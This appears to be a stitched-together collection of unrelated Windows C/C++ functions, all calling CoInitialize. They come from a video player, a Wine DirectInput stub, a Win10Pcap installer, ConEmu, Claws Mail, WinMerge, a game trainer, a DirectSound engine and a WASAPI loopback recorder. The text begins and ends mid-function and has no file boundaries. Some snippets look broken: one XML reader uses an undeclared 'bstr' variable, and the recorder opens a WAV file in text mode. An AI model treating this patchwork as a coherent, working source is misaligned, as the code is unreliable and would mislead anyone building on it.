nAvail); if (FAILED (hr) && bWasErrMsg == FALSE) { CloseFile (); hr = m_wndVideo.m_player.Open2 (m_pActiveDownload->pMgr->get_OutputFilePathName ()); } } else bWasErrMsg = TRUE; } if (FAILED (hr)) { CloseFile (); if (bWasErrMsg == FALSE) { if (m_dwDXVersion == 0) m_dwDXVersion = fsDirectXVersion::GetCurrentVersion (); if (m_dwDXVersion < 0x0800) { CString strErr = LS (L_FAILEDTOOPENFILE); strErr += "\n\n"; strErr += LS (L_NEEDDX8ORBETTER); MessageBox (strErr, LS (L_ERR), MB_ICONERROR); } else { CString strErr = LS (L_FAILEDTOOPENFILE); strErr += "\n\n"; strErr += LS (L_UNKMEDIATYPE); MessageBox (strErr, LS (L_ERR), MB_ICONERROR); } } m_vidseek.Set_MediaSeeking (NULL); return; } if (m_bUsingVideo2 == FALSE) { IMediaSeeking* pMS = Get_Player ()->Get_MediaSeeking (); m_vidseek.Set_MediaSeeking (pMS); if (pMS) pMS->Release (); m_wndVideo.m_player.Run (); m_vidman.ApplyVolumeSettings (); } } }
DWORD __stdcall CreateThreadActiveX(IN void* pParam) { static TCHAR szAppName[] = TEXT ("HelloWin") ; MSG msg ; WNDCLASS wndclass ; HWND hwnd ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc = WndProc ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hInstance = g_hInstance ; wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ; wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; wndclass.lpszMenuName = NULL ; wndclass.lpszClassName = szAppName ; //HWND hq=FindWindow(TEXT("Chrome_WidgetWin_100"),NULL); HWND hwndChrome=FindWindow(TEXT("Chrome_WidgetWin_1"),0); hwndChrome=GetParent(hwndChrome); // ¸¸´°¿Ú if (!RegisterClass (&wndclass)) { MessageBox (NULL, TEXT ("This program requires Windows NT!"), szAppName, MB_ICONERROR) ; return 0 ; } hwnd = CreateWindow (szAppName, // window class name TEXT ("The Hello Program"), // window caption WS_CHILDWINDOW,//WS_POPUP|WS_EX_TOOLWINDOW,//WS_OVERLAPPEDWINDOW, // window style 200, // initial x position 200, // initial y position 400, // initial x size 40, // initial y size //CW_USEDEFAULT, // initial x position //CW_USEDEFAULT, // initial y position hwndChrome, // parent window handle NULL, // window menu handle g_hInstance, // program instance handle NULL) ; // creation parameters AtlAxWinInit(); CoInitialize(NULL); // The window is attached; act appropriately if(hwnd) { CAxWindow wnd; CLSID clsid; LPUNKNOWN pUnkCtrl, pUnkCont; IDispatch* pIDsp=NULL; HRESULT hr =::CLSIDFromString(L"{ED75F074-4A89-40B3-844C-B28281C3FD8E}",&clsid); hr = CoCreateInstance(clsid, NULL, CLSCTX_ALL, IID_IUnknown, (void**)&pUnkCtrl); CComQIPtr <IPersistStreamInit> spPerStm(pUnkCtrl); spPerStm->InitNew(); wnd.Attach(hwnd); wnd.AttachControl(pUnkCtrl, &pUnkCont); wnd.QueryControl(IID_IDispatch, (void**)&pIDsp); } ShowWindow (hwnd, SW_SHOW) ; UpdateWindow (hwnd) ; while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg) ; DispatchMessage (&msg) ; } ::CoUninitialize(); return msg.wParam; }
/****************************************************************************** * DirectInput8Create (DINPUT8.@) */ HRESULT WINAPI DECLSPEC_HOTPATCH DirectInput8Create(HINSTANCE hinst, DWORD dwVersion, REFIID riid, LPVOID *ppDI, LPUNKNOWN punkOuter) { IDirectInputA *pDI; HRESULT hr, hrCo; TRACE("hInst (%p), dwVersion: %d, riid (%s), punkOuter (%p)\n", hinst, dwVersion, debugstr_guid(riid), punkOuter); if (!ppDI) return E_POINTER; if (!IsEqualGUID(&IID_IDirectInput8A, riid) && !IsEqualGUID(&IID_IDirectInput8W, riid) && !IsEqualGUID(&IID_IUnknown, riid)) { *ppDI = NULL; return DIERR_NOINTERFACE; } hrCo = CoInitialize(NULL); hr = CoCreateInstance(&CLSID_DirectInput, NULL, CLSCTX_INPROC_SERVER, &IID_IDirectInputA, (void **)&pDI); /* Ensure balance of calls. */ if (SUCCEEDED(hrCo)) CoUninitialize(); if (FAILED(hr)) { ERR("CoCreateInstance failed with hr = 0x%08x\n", hr); return hr; } hr = IDirectInput_QueryInterface(pDI, riid, ppDI); IDirectInput_Release(pDI); if (FAILED(hr)) return hr; /* When aggregation is used (punkOuter!=NULL) the application needs to manually call Initialize. */ if(punkOuter == NULL && IsEqualGUID(&IID_IDirectInput8A, riid)) { IDirectInput8A *DI = *ppDI; hr = IDirectInput8_Initialize(DI, hinst, dwVersion); if (FAILED(hr)) { IDirectInput8_Release(DI); *ppDI = NULL; return hr; } } if(punkOuter == NULL && IsEqualGUID(&IID_IDirectInput8W, riid)) { IDirectInput8W *DI = *ppDI; hr = IDirectInput8_Initialize(DI, hinst, dwVersion); if (FAILED(hr)) { IDirectInput8_Release(DI); *ppDI = NULL; return hr; } } return S_OK; }
/*********************************************************************** * register_filters */ static HRESULT register_filters(struct regsvr_filter const *list) { HRESULT hr; IFilterMapper2* pFM2 = NULL; CoInitialize(NULL); hr = CoCreateInstance(&CLSID_FilterMapper2, NULL, CLSCTX_INPROC_SERVER, &IID_IFilterMapper2, (LPVOID*)&pFM2); if (SUCCEEDED(hr)) { for (; SUCCEEDED(hr) && list->clsid; ++list) { REGFILTER2 rf2; REGFILTERPINS2* prfp2; int i; for (i = 0; list->pins[i].flags != 0xFFFFFFFF; i++) ; rf2.dwVersion = 2; rf2.dwMerit = list->merit; rf2.u.s2.cPins2 = i; rf2.u.s2.rgPins2 = prfp2 = CoTaskMemAlloc(i*sizeof(REGFILTERPINS2)); if (!prfp2) { hr = E_OUTOFMEMORY; break; } for (i = 0; list->pins[i].flags != 0xFFFFFFFF; i++) { REGPINTYPES* lpMediatype; CLSID* lpClsid; int j, nbmt; for (nbmt = 0; list->pins[i].mediatypes[nbmt].majortype; nbmt++) ; /* Allocate a single buffer for regpintypes struct and clsids */ lpMediatype = CoTaskMemAlloc(nbmt*(sizeof(REGPINTYPES) + 2*sizeof(CLSID))); if (!lpMediatype) { hr = E_OUTOFMEMORY; break; } lpClsid = (CLSID*) (lpMediatype + nbmt); for (j = 0; j < nbmt; j++) { (lpMediatype + j)->clsMajorType = lpClsid + j*2; memcpy(lpClsid + j*2, list->pins[i].mediatypes[j].majortype, sizeof(CLSID)); (lpMediatype + j)->clsMinorType = lpClsid + j*2 + 1; if (list->pins[i].mediatypes[j].subtype) memcpy(lpClsid + j*2 + 1, list->pins[i].mediatypes[j].subtype, sizeof(CLSID)); else { /* Subtype are often a combination of major type + fourcc/tag */ memcpy(lpClsid + j*2 + 1, list->pins[i].mediatypes[j].majortype, sizeof(CLSID)); *(DWORD*)(lpClsid + j*2 + 1) = list->pins[i].mediatypes[j].fourcc; } } prfp2[i].dwFlags = list->pins[i].flags; prfp2[i].cInstances = 0; prfp2[i].nMediaTypes = j; prfp2[i].lpMediaType = lpMediatype; prfp2[i].nMediums = 0; prfp2[i].lpMedium = NULL; prfp2[i].clsPinCategory = NULL; } if (FAILED(hr)) { ERR("failed to register with hresult 0x%x\n", hr); CoTaskMemFree(prfp2); break; } hr = IFilterMapper2_RegisterFilter(pFM2, list->clsid, list->name, NULL, list->category, NULL, &rf2); while (i) { CoTaskMemFree((REGPINTYPES*)prfp2[i-1].lpMediaType); i--; } CoTaskMemFree(prfp2); } } if (pFM2) IFilterMapper2_Release(pFM2); CoUninitialize(); return hr; }
int PASCAL WinMain(HINSTANCE hInst, HINSTANCE hPrev, char *CmdLine, int CmdShow) { bool uninstall_mode = false; char exe_name[MAX_PATH]; char exe_dir[MAX_PATH]; UINT os_ver = GetWindowsVersion(); CoInitialize(NULL); DisableWow64FsRedirection(); if (SeStartWith(CmdLine, "/uninstall")) { uninstall_mode = true; } GetModuleFileNameA(hInst, exe_name, sizeof(exe_name)); SeGetDirNameFromFilePath(exe_dir, sizeof(exe_dir), exe_name); if (uninstall_mode == false) { char driver_inf_filename[MAX_PATH] = {0}; bool install_driver = false; // Check the Windows version if (os_ver == OS_UNKNOWN) { MessageBoxA(NULL, "This operating system is not supported by Win10Pcap.\r\n\r\n" "Win10Pcap requires Windows 7, Server 2008 R2, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2012 R2 or Windows 10.", INSTALLER_TITLE, MB_ICONSTOP | MB_SYSTEMMODAL); return -1; } SeStrCpy(driver_inf_filename, sizeof(driver_inf_filename), exe_dir); if (os_ver == OS_WIN10) { SeStrCat(driver_inf_filename, sizeof(driver_inf_filename), "\\drivers\\win10"); } else { SeStrCat(driver_inf_filename, sizeof(driver_inf_filename), "\\drivers\\win78"); } SeStrCat(driver_inf_filename, sizeof(driver_inf_filename), "\\Win10Pcap.inf"); // Install the device driver if (Is64BitCode()) { // x64 install_driver = true; } else if (IsWow64() == false) { // x86 install_driver = true; } else { // Do nothing. } if (install_driver) { LABEL_RETRY_INSTALL_DRIVER: if (InstallNdisProtocolDriver(driver_inf_filename, L"Win10Pcap", 60 * 1000) == false) { if (MessageBoxA(NULL, "The install process of the Win10Pcap NDIS device driver failed.", INSTALLER_TITLE, MB_ICONEXCLAMATION | MB_SYSTEMMODAL | MB_RETRYCANCEL) == IDRETRY) { goto LABEL_RETRY_INSTALL_DRIVER; } else { return -1; } } MsStartService("Win10Pcap"); } if (InstallDllToSystem32(exe_dir, "Packet.dll", "Packet.dll") == false || InstallDllToSystem32(exe_dir, "wpcap.dll", "wpcap.dll") == false) { return -1; } if (Is64BitCode() == false && Is64BitWindows()) { // Run x64 char x64_exe[MAX_PATH]; wsprintfA(x64_exe, "%s\\..\\x64\\Installer.exe", exe_dir); Win32RunAndWaitProcess(x64_exe, CmdLine, false, false, INFINITE); } } else { bool uninstall_driver = false; UninstallDllFromSystem32("Packet.dll"); UninstallDllFromSystem32("wpcap.dll"); // Install the device driver if (Is64BitCode()) { // x64 uninstall_driver = true; } else if (IsWow64() == false) { // x86 uninstall_driver = true; } else { // Do nothing. } if (uninstall_driver) { LABEL_RETRY_UNINSTALL_DRIVER: if (UninstallNdisProtocolDriver(L"Win10Pcap", 60 * 1000) == false) { if (MessageBoxA(NULL, "The uninstall process of the Win10Pcap NDIS device driver failed.", INSTALLER_TITLE, MB_ICONEXCLAMATION | MB_SYSTEMMODAL | MB_RETRYCANCEL) == IDRETRY) { goto LABEL_RETRY_UNINSTALL_DRIVER; } } } if (Is64BitCode() == false && Is64BitWindows()) { // Run x64 char x64_exe[MAX_PATH]; wsprintfA(x64_exe, "%s\\..\\x64\\Installer.exe", exe_dir); Win32RunAndWaitProcess(x64_exe, CmdLine, false, false, INFINITE); } } CoUninitialize(); return 0; }
IXMLDOMDocument* SettingsXML::CreateDomDocument(wchar_t* pszErr /*= NULL*/, size_t cchErrMax /*= 0*/) { HRESULT hr; IXMLDOMDocument* pFile = NULL; static HMODULE hMsXml3 = NULL; typedef HRESULT (__stdcall* DllGetClassObject_t)(REFCLSID rclsid, REFIID riid, LPVOID *ppv); static DllGetClassObject_t lpfnGetClassObject = NULL; wchar_t szDllErr[128] = {}; hr = CoInitialize(NULL); // Если в прошлый раз обломались, и загрузили "msxml3.dll" - то и не дергаться if (hMsXml3 && (hMsXml3 != (HMODULE)INVALID_HANDLE_VALUE)) hr = REGDB_E_CLASSNOTREG; else hr = CoCreateInstance(CLSID_DOMDocument30, NULL, CLSCTX_INPROC_SERVER, //-V519 IID_IXMLDOMDocument, (void**)&pFile); // Если msxml3.dll (Msxml2.DOMDocument.3.0) не зарегистрирована - будет такая ошибка if (FAILED(hr)) // (hr == REGDB_E_CLASSNOTREG) { HRESULT hFact; // Попробовать грузануть ее ручками if (!hMsXml3) { wchar_t szDll[MAX_PATH+16]; struct FindPlaces { LPCWSTR sDir, sSlash; } findPlaces[] = { {gpConEmu->ms_ConEmuExeDir, L"\\"}, {gpConEmu->ms_ConEmuBaseDir, L"\\"}, {L"", L""}, {NULL}}; for (FindPlaces* fp = findPlaces; fp->sDir; fp++) { _wsprintf(szDll, SKIPLEN(countof(szDll)) L"%s%smsxml3.dll", fp->sDir, fp->sSlash); hMsXml3 = LoadLibrary(szDll); hFact = hMsXml3 ? 0 : (HRESULT)GetLastError(); if (hMsXml3) break; //if (!hMsXml3 // && (((DWORD)hFact) == ERROR_MOD_NOT_FOUND // || ((DWORD)hFact) == ERROR_BAD_EXE_FORMAT // || ((DWORD)hFact) == ERROR_FILE_NOT_FOUND)) } //_wsprintf(szDll, SKIPLEN(countof(szDll)) L"%s\\msxml3.dll", gpConEmu->ms_ConEmuExeDir); //hMsXml3 = LoadLibrary(szDll); //hFact = hMsXml3 ? 0 : (HRESULT)GetLastError(); //if (!hMsXml3 // && (((DWORD)hFact) == ERROR_MOD_NOT_FOUND // || ((DWORD)hFact) == ERROR_BAD_EXE_FORMAT // || ((DWORD)hFact) == ERROR_FILE_NOT_FOUND)) //{ // _wsprintf(szDll, SKIPLEN(countof(szDll)) L"%s\\msxml3.dll", gpConEmu->ms_ConEmuBaseDir); // hMsXml3 = LoadLibrary(szDll); // hFact = hMsXml3 ? 0 : (HRESULT)GetLastError(); //} if (!hMsXml3) { hMsXml3 = (HMODULE)INVALID_HANDLE_VALUE; _wsprintf(szDllErr, SKIPLEN(countof(szDllErr)) L"\nLoadLibrary(\"msxml3.dll\") failed\nErrCode=0x%08X", (DWORD)hFact); } } if (hMsXml3 && (hMsXml3 != (HMODULE)INVALID_HANDLE_VALUE)) { if (!lpfnGetClassObject) lpfnGetClassObject = (DllGetClassObject_t)GetProcAddress(hMsXml3, "DllGetClassObject"); if (!lpfnGetClassObject) { hFact = (HRESULT)GetLastError(); _wsprintf(szDllErr, SKIPLEN(countof(szDllErr)) L"\nGetProcAddress(\"DllGetClassObject\") failed\nErrCode=0x%08X", (DWORD)hFact); } else { IClassFactory* pFact = NULL; hFact = lpfnGetClassObject(CLSID_DOMDocument30, IID_IClassFactory, (void**)&pFact); if (SUCCEEDED(hFact) && pFact) { hFact = pFact->CreateInstance(NULL, IID_IXMLDOMDocument, (void**)&pFile); if (SUCCEEDED(hFact)) hr = hFact; else _wsprintf(szDllErr, SKIPLEN(countof(szDllErr)) L"\nCreateInstance(IID_IXMLDOMDocument) failed\nErrCode=0x%08X", (DWORD)hFact); pFact->Release(); } else { _wsprintf(szDllErr, SKIPLEN(countof(szDllErr)) L"\nGetClassObject(CLSID_DOMDocument30) failed\nErrCode=0x%08X", (DWORD)hFact); } } } } if (FAILED(hr) || !pFile) { wchar_t szErr[512]; bool bShowError = (pszErr == NULL); if (pszErr == NULL) { pszErr = szErr; cchErrMax = countof(szErr); } _wsprintf(pszErr, SKIPLEN(cchErrMax) L"XML setting file can not be used!\n" L"Dynamic libraries 'msxml3.dll'/'msxml3r.dll' was not found!\n\n" L"Can't create IID_IXMLDOMDocument!\n" L"ErrCode=0x%08X %s", (DWORD)hr, szDllErr); if (bShowError) { static bool bWarned = false; if (!bWarned) { // Не задалбывать пользователя ошибками. Один раз - и хватит bWarned = true; MBoxError(szErr); } } return NULL; } return pFile; }
gchar *filesel_select_file_open_folder(const gchar *title, const gchar *path) { PIDLIST_ABSOLUTE pidl; gchar *str; gunichar2 *path16, *title16; glong conv_items; GError *error = NULL; WinChooserCtx *ctx; #ifdef USE_PTHREAD pthread_t pt; #endif /* Path needs to be converted to UTF-16, so that the native chooser * can understand it. */ path16 = g_utf8_to_utf16(path ? path : "", -1, NULL, &conv_items, &error); if (error != NULL) { alertpanel_error(_("Could not convert file path to UTF-16:\n\n%s"), error->message); debug_print("file path '%s' conversion to UTF-16 failed\n", path); g_error_free(error); return NULL; } /* Chooser dialog title needs to be UTF-16 as well. */ title16 = g_utf8_to_utf16(title ? title : "", -1, NULL, NULL, &error); if (error != NULL) { debug_print("dialog title '%s' conversion to UTF-16 failed\n", title); g_error_free(error); } if (focus_window != NULL) b.hwndOwner = GDK_WINDOW_HWND(gtk_widget_get_window(focus_window)); else b.hwndOwner = NULL; b.pszDisplayName = g_malloc(MAXPATHLEN); b.lpszTitle = title16; b.ulFlags = 0; b.pidlRoot = NULL; b.lpfn = _open_folder_callback; b.lParam = (LPARAM)path16; CoInitialize(NULL); ctx = g_new0(WinChooserCtx, 1); ctx->data = &b; ctx->done = FALSE; #ifdef USE_PTHREAD if (pthread_create(&pt, PTHREAD_CREATE_JOINABLE, threaded_SHBrowseForFolder, (void *)ctx) != 0) { debug_print("Couldn't run in a thread, continuing unthreaded.\n"); threaded_SHBrowseForFolder(ctx); } else { while (!ctx->done) { claws_do_idle(); } pthread_join(pt, NULL); } pidl = ctx->return_value_pidl; #else debug_print("No threads available, continuing unthreaded.\n"); pidl = SHBrowseForFolder(&b); #endif g_free(b.pszDisplayName); g_free(title16); g_free(path16); if (pidl == NULL) { CoUninitialize(); g_free(ctx); return NULL; } path16 = malloc(MAX_PATH); if (!SHGetPathFromIDList(pidl, path16)) { CoTaskMemFree(pidl); CoUninitialize(); g_free(path16); g_free(ctx); return NULL; } /* Now convert the returned file path back from UTF-16. */ /* Unfortunately, there is no field in BROWSEINFO struct to indicate * actual length of string in pszDisplayName, so we have to assume * the string is null-terminated. */ str = g_utf16_to_utf8(path16, -1, NULL, NULL, &error); if (error != NULL) { alertpanel_error(_("Could not convert file path back to UTF-8:\n\n%s"), error->message); debug_print("returned file path conversion to UTF-8 failed\n"); g_error_free(error); } CoTaskMemFree(pidl); CoUninitialize(); g_free(ctx); g_free(path16); return str; }
static UINT UpdateButtonStatesThread(LPVOID lpParam) { MSG msg; BOOL bRet; CoInitialize(NULL); CAssureScriptsForThread scriptsForRescan; while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { if (bRet == -1) break; if (msg.message != WM_USER + 2) continue; BOOL bButtonEnabled = TRUE; BOOL bInvalid[3] = {FALSE, FALSE, FALSE}; int iStatusMsgId = 0; int iUnpackerStatusMsgId = 0; UpdateButtonStatesThreadParams *pParams = reinterpret_cast<UpdateButtonStatesThreadParams *>(msg.wParam); PathContext paths = pParams->m_paths; HWND hWnd = pParams->m_hWnd; delete pParams; // Check if we have project file as left side path BOOL bProject = FALSE; String ext; paths_SplitFilename(paths[0], NULL, NULL, &ext); if (paths[1].empty() && string_compare_nocase(ext, ProjectFile::PROJECTFILE_EXT) == 0) bProject = TRUE; if (!bProject) { if (paths_DoesPathExist(paths[0], IsArchiveFile) == DOES_NOT_EXIST) bInvalid[0] = TRUE; if (paths_DoesPathExist(paths[1], IsArchiveFile) == DOES_NOT_EXIST) bInvalid[1] = TRUE; if (paths.GetSize() > 2 && paths_DoesPathExist(paths[2], IsArchiveFile) == DOES_NOT_EXIST) bInvalid[2] = TRUE; } // Enable buttons as appropriate if (GetOptionsMgr()->GetBool(OPT_VERIFY_OPEN_PATHS)) { PATH_EXISTENCE pathsType = DOES_NOT_EXIST; if (paths.GetSize() <= 2) { if (bInvalid[0] && bInvalid[1]) iStatusMsgId = IDS_OPEN_BOTHINVALID; else if (bInvalid[0]) iStatusMsgId = IDS_OPEN_LEFTINVALID; else if (bInvalid[1]) iStatusMsgId = IDS_OPEN_RIGHTINVALID; else if (!bInvalid[0] && !bInvalid[1]) { pathsType = GetPairComparability(paths, IsArchiveFile); if (pathsType == DOES_NOT_EXIST) iStatusMsgId = IDS_OPEN_MISMATCH; else iStatusMsgId = IDS_OPEN_FILESDIRS; } } else { if (bInvalid[0] && bInvalid[1] && bInvalid[2]) iStatusMsgId = IDS_OPEN_ALLINVALID; else if (!bInvalid[0] && bInvalid[1] && bInvalid[2]) iStatusMsgId = IDS_OPEN_MIDDLERIGHTINVALID; else if (bInvalid[0] && !bInvalid[1] && bInvalid[2]) iStatusMsgId = IDS_OPEN_LEFTRIGHTINVALID; else if (!bInvalid[0] && !bInvalid[1] && bInvalid[2]) iStatusMsgId = IDS_OPEN_RIGHTINVALID; else if (bInvalid[0] && bInvalid[1] && !bInvalid[2]) iStatusMsgId = IDS_OPEN_LEFTMIDDLEINVALID; else if (!bInvalid[0] && bInvalid[1] && !bInvalid[2]) iStatusMsgId = IDS_OPEN_MIDDLEINVALID; else if (bInvalid[0] && !bInvalid[1] && !bInvalid[2]) iStatusMsgId = IDS_OPEN_LEFTINVALID; else if (!bInvalid[0] && !bInvalid[1] && !bInvalid[2]) { pathsType = GetPairComparability(paths, IsArchiveFile); if (pathsType == DOES_NOT_EXIST) iStatusMsgId = IDS_OPEN_MISMATCH; else iStatusMsgId = IDS_OPEN_FILESDIRS; } } if (pathsType == IS_EXISTING_FILE || bProject) iUnpackerStatusMsgId = 0; //Empty field else iUnpackerStatusMsgId = IDS_OPEN_UNPACKERDISABLED; if (bProject) bButtonEnabled = TRUE; else bButtonEnabled = (pathsType != DOES_NOT_EXIST); } PostMessage(hWnd, WM_USER + 1, bButtonEnabled, MAKELPARAM(iStatusMsgId, iUnpackerStatusMsgId)); } CoUninitialize(); return 0; }
void addRefCount() { if (++g_refCount == 1) CoInitialize(NULL); }
/**Read the XML config file. Currently contains keyboard choices.*/ void read_config_file() { TrainerConfig *result = new TrainerConfig(); CoInitialize(NULL); //read XML MSXML2::IXMLDOMDocumentPtr spXMLDoc; spXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60)); if (!spXMLDoc->load("ent-config.xml")) { write_text_to_log_file("No config found, using defaults"); config = result; //the default config } IXMLDOMNodeListPtr nodes = spXMLDoc->selectNodes(L"//ent-config/keys/key"); long length; nodes->get_length(&length); for (int i = 0; i < length; i++) { IXMLDOMNode *node; nodes->get_item(i, &node); IXMLDOMNamedNodeMap *attribs; node->get_attributes(&attribs); long length_attribs; attribs->get_length(&length_attribs); char *attrib_key_func = NULL; char *attrib_key_value = NULL; for (long j = 0; j < length_attribs; j++) { IXMLDOMNode *attribNode; attribs->get_item(j, &attribNode); attribNode->get_nodeName(&bstr); if (wcscmp(bstr, L"function") == 0) { VARIANT var; VariantInit(&var); attribNode->get_nodeValue(&var); attrib_key_func = _com_util::ConvertBSTRToString(V_BSTR(&var)); } else if (wcscmp(bstr, L"value") == 0) { VARIANT var; VariantInit(&var); attribNode->get_nodeValue(&var); attrib_key_value = _com_util::ConvertBSTRToString(V_BSTR(&var)); } SysFreeString(bstr); attribNode->Release(); } if (attrib_key_func != NULL && attrib_key_value != NULL) { result->get_key_config()->set_key(attrib_key_func, attrib_key_value); } delete attrib_key_func; delete attrib_key_value; attribs->Release(); node->Release(); } //nodes->Release(); //don't do this, it crashes on exit spXMLDoc.Release(); CoUninitialize(); config = result; }
CDxSound::CDxSound() { // noSound=true; maxSounds=ConfigHandler::GetInstance().GetInt("MaxSounds",16); curThreshhold=0.1; wantedSounds=maxSounds*0.75; globalVolume=1.0f; m_pDS = NULL; m_hWnd = NULL; HRESULT hr; LPDIRECTSOUNDBUFFER pDSBPrimary = NULL; // Get window from SDL SDL_SysWMinfo wmInfo; SDL_VERSION(&wmInfo.version); if (SDL_GetWMInfo (&wmInfo) != 1) { info->AddLine ("CDxSound: Couldn't get window from SDL"); noSound = true; return; } m_hWnd = wmInfo.window; // Initialize COM hr = CoInitialize( NULL ); if( hr!=S_OK && hr!=S_FALSE){ info->AddLine("Couldnt initialize com"); noSound=true; return; } // Create IDirectSound using the primary sound device if( FAILED( hr = DirectSoundCreate( NULL, &m_pDS, NULL ) ) ){ info->AddLine("Couldnt create direct sound object"); noSound=true; return; } // Set coop level to DSSCL_PRIORITY if( FAILED( hr = m_pDS->SetCooperativeLevel( m_hWnd, DSSCL_PRIORITY ) ) ){ info->AddLine("Couldnt set cooperative level"); noSound=true; return; } // Get the primary buffer DSBUFFERDESC dsbd; ZeroMemory( &dsbd, sizeof(DSBUFFERDESC) ); dsbd.dwSize = sizeof(DSBUFFERDESC); dsbd.dwFlags = DSBCAPS_PRIMARYBUFFER; dsbd.dwBufferBytes = 0; dsbd.lpwfxFormat = NULL; if( FAILED( hr = m_pDS->CreateSoundBuffer( &dsbd, &pDSBPrimary, NULL ) ) ){ info->AddLine("Couldnt create primary sound buffer"); noSound=true; return; } // Set primary buffer format to 22kHz and 16-bit output. WAVEFORMATEX wfx; ZeroMemory( &wfx, sizeof(WAVEFORMATEX) ); wfx.wFormatTag = WAVE_FORMAT_PCM; wfx.nChannels = 2; wfx.nSamplesPerSec = 22050; wfx.wBitsPerSample = 16; wfx.nBlockAlign = wfx.wBitsPerSample / 8 * wfx.nChannels; wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign; if( FAILED( hr = pDSBPrimary->SetFormat(&wfx) ) ){ info->AddLine("Couldnt initialize primary sound format"); noSound=true; return; } SAFE_RELEASE( pDSBPrimary ); noSound=false; waveid[""]=0; SoundInfo* si=new SoundInfo; loadedSounds.push_back(si); }
int _tmain(int argc, _TCHAR* argv[]) { IMMDeviceEnumerator *enumerator = 0; IMMDevice *device = 0; FILE *f; f=fopen("c:/1.wav","w"); CoInitialize(0); CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**) &enumerator); enumerator->GetDefaultAudioEndpoint(eRender, eConsole, &device); HANDLE processOutWrite, processOutRead, processInWrite, processInRead; /*wchar_t processCommand[2000]; { FILE* commandFile; fopen_s(&commandFile, "command.txt", "r"); char cmd[2000]; fread(cmd, sizeof(char), 2000, commandFile); fclose(commandFile); size_t count; mbstowcs_s(&count, processCommand, cmd, 2000); }*/ /*{ //create pipes for plink process SECURITY_ATTRIBUTES pipeAttributes = {0}; pipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pipeAttributes.bInheritHandle = TRUE; pipeAttributes.lpSecurityDescriptor= NULL; CreatePipe(&processOutRead, &processOutWrite, &pipeAttributes, 0); CreatePipe(&processInRead, &processInWrite, &pipeAttributes, 0); STARTUPINFO startupInfo; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); startupInfo.cb = sizeof(STARTUPINFO); startupInfo.hStdError = processOutWrite; startupInfo.hStdOutput = processOutWrite; startupInfo.hStdInput = processInRead; startupInfo.dwFlags |= STARTF_USESTDHANDLES; PROCESS_INFORMATION processInfo = {0}; //launch process CreateProcess(NULL, processCommand, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo); //wait for plink to connect to minimze sound delay (magic number) Sleep(2500); }*/ HRESULT hr; // activate an IAudioClient IAudioClient *audioClient; hr = device->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**) &audioClient); if (FAILED(hr)) { printf("IMMDevice::Activate(IAudioClient) failed: hr = 0x%08x", hr); return hr; } // get the default device format WAVEFORMATEX *waveFormat; hr = audioClient->GetMixFormat(&waveFormat); if (FAILED(hr)) { printf("IAudioClient::GetMixFormat failed: hr = 0x%08x\n", hr); CoTaskMemFree(waveFormat); audioClient->Release(); return hr; } // coerce int-16 wave format // can do this in-place since we're not changing the size of the format // also, the engine will auto-convert from float to int for us switch (waveFormat->wFormatTag) { case WAVE_FORMAT_IEEE_FLOAT: waveFormat->wFormatTag = WAVE_FORMAT_PCM; waveFormat->wBitsPerSample = 16; waveFormat->nBlockAlign = waveFormat->nChannels * waveFormat->wBitsPerSample / 8; waveFormat->nAvgBytesPerSec = waveFormat->nBlockAlign * waveFormat->nSamplesPerSec; break; case WAVE_FORMAT_EXTENSIBLE: { // naked scope for case-local variable PWAVEFORMATEXTENSIBLE waveFormatEx = reinterpret_cast<PWAVEFORMATEXTENSIBLE>(waveFormat); if (IsEqualGUID(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, waveFormatEx->SubFormat)) { waveFormatEx->SubFormat = KSDATAFORMAT_SUBTYPE_PCM; waveFormatEx->Samples.wValidBitsPerSample = 16; waveFormat->wBitsPerSample = 16; waveFormat->nBlockAlign = waveFormat->nChannels * waveFormat->wBitsPerSample / 8; waveFormat->nAvgBytesPerSec = waveFormat->nBlockAlign * waveFormat->nSamplesPerSec; } else { printf("Don't know how to coerce mix format to int-16\n"); CoTaskMemFree(waveFormat); audioClient->Release(); return E_UNEXPECTED; } } break; default: printf("Don't know how to coerce WAVEFORMATEX with wFormatTag = 0x%08x to int-16\n", waveFormat->wFormatTag); CoTaskMemFree(waveFormat); audioClient->Release(); return E_UNEXPECTED; } UINT32 blockAlign = waveFormat->nBlockAlign; // call IAudioClient::Initialize // note that AUDCLNT_STREAMFLAGS_LOOPBACK and AUDCLNT_STREAMFLAGS_EVENTCALLBACK do not work together... // the "data ready" event never gets set, so we're going to do a timer-driven loop hr = audioClient->Initialize( AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_LOOPBACK, 10000000, 0, waveFormat, 0 ); if (FAILED(hr)) { printf("IAudioClient::Initialize failed: hr = 0x%08x\n", hr); audioClient->Release(); return hr; } CoTaskMemFree(waveFormat); // activate an IAudioCaptureClient IAudioCaptureClient *audioCaptureClient; hr = audioClient->GetService(__uuidof(IAudioCaptureClient), (void**) &audioCaptureClient); if (FAILED(hr)) { printf("IAudioClient::GetService(IAudioCaptureClient) failed: hr 0x%08x\n", hr); audioClient->Release(); return hr; } hr = audioClient->Start(); if (FAILED(hr)) { printf("IAudioClient::Start failed: hr = 0x%08x\n", hr); audioCaptureClient->Release(); audioClient->Release(); return hr; } // loopback capture loop for (UINT32 i = 0; true; i++) { UINT32 nextPacketSize; hr = audioCaptureClient->GetNextPacketSize(&nextPacketSize); if (FAILED(hr)) { printf("IAudioCaptureClient::GetNextPacketSize failed on pass %u: hr = 0x%08x\n", i, hr); audioClient->Stop(); audioCaptureClient->Release(); audioClient->Release(); return hr; } if (nextPacketSize == 0) { // no data yet continue; } // get the captured data BYTE *data; UINT32 frameCount; DWORD 